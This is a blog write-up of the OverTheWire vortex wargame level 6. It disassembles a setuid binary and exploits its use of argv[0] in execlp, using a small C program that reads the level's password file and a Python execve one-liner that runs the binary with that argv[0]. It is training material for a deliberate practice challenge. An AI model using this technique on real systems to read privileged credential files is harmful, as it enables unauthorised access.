Overthewire vortex Wargame - Level 6
Posted by Klaus Eisentraut in ctf
This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3, Level #4, Level #5.
Level 6
Level #6 is the first one, where we are not supplied with the source code and have to reverse engineer what is happening.
However, it's a rather easy executable and we simply reverse engineer it with objdump -M intel -S /vortex/vortex6
.
First, we notice that there is only one function restart
besides the main
-function.
This function calls execlp
, so we reverse engineer it first.
We might wonder what is stored in ebp+0x8
.
In the Linux x86 GCC calling convention it is simply the first (and only) argument to the restart
-function.
0804847d <restart>:
804847d: 55 push ebp
804847e: 89 e5 mov ebp,esp
8048480: 83 ec 18 sub esp,0x18 ; reserve 0x18 = 24 bytes on stack for local variables
8048483: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 ; argument #3 to execlp is 0
804848a: 00
804848b: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804848e: 89 44 24 04 mov DWORD PTR [esp+0x4],eax ; argument #2 to execlp is ebp+0x8, which is the first argument of the function restart
8048492: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] ;
8048495: 89 04 24 mov DWORD PTR [esp],eax ; argument #1 to execlp is ebp+0x8, which is the first argument of the function restart
8048498: e8 b3 fe ff ff call 8048350 <execlp@plt> ; execlp(i,i,0) where i is the argument to restart(i)
804849d: c9 leave
804849e: c3 ret
Actually, restart(i)
simply calls execlp(i,i,0)
!
If we can call restart("/tmp/cat7")
where cat7
is a program which reads the content of /etc/vortex_pass/vortex7
, we will win immediately.
So our first step is to build such a payload by writing a small C program:
/* cat7.c */
#include <stdio.h>
#include <unistd.h>
int main() {
char c;
FILE *file;
file = fopen("/etc/vortex_pass/vortex7", "r");
if (file) {
while ((c = getc(file)) != EOF)
putchar(c);
fclose(file);
}
}
We compile it with gcc -o /tmp/cat7 cat7.c
.
All what is left is to do now is to figure out how exactly the main
-function will call the restart
-function.
So let's take a look at its disassembly:
0804849f <main>:
804849f: 55 push ebp
80484a0: 89 e5 mov ebp,esp
80484a2: 83 e4 f0 and esp,0xfffffff0 ; align stack to 16 byte boundary
80484a5: 83 ec 10 sub esp,0x10 ; reserve 0x10=16 bytes on stack
80484a8: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] ; ebp+0x10 is the third argument to main
80484ab: 8b 00 mov eax,DWORD PTR [eax] ; dereference it
80484ad: 85 c0 test eax,eax ; if it is 0, then
80484af: 74 0d je 80484be <main+0x1f> ; jump to the end
80484b1: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] ; move the second argument to main into eax
80484b4: 8b 00 mov eax,DWORD PTR [eax] ; dereference it
80484b6: 89 04 24 mov DWORD PTR [esp],eax ; and use it as argument for restart(...)!
80484b9: e8 bf ff ff ff call 804847d <restart>
80484be: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] ; uninteresting stuff below
80484c1: 83 c0 0c add eax,0xc
80484c4: 8b 00 mov eax,DWORD PTR [eax]
80484c6: 89 04 24 mov DWORD PTR [esp],eax
80484c9: e8 62 fe ff ff call 8048330 <printf@plt>
80484ce: c7 04 24 25 73 00 00 mov DWORD PTR [esp],0x7325
80484d5: e8 66 fe ff ff call 8048340 <_exit@plt>
In level #4, we already learned about the stack layout of the main
-function.
It looks like the following:
ebp+0x8
is the first argument to themain
-function which is simplyargc
.ebp+0xc
is the second argument to themain
-function. This isargv[0]
and it is passed to therestart
-function! We want to set this to/tmp/cat7
.ebp+0x10
is the third argument to themain
-function which can be eitherargv[1]
or the NULL which ends theargv
array. In ourmain
-function this is expected to be NULL. Therefore,argv[1]
must not exist resp. theargv[]
array must have a length of one.- The environment array
envp[]
is located atebp+0x14
and following, but this is not read by ourmain
-function and therefore uninteresting for us.
We are ready now, all we need to do is to execute it:
vortex6@vortex:~$ python -c 'import os; os.execve("/vortex/vortex6", ["/tmp/cat7"], os.environ)'
Y5[...snip...]t/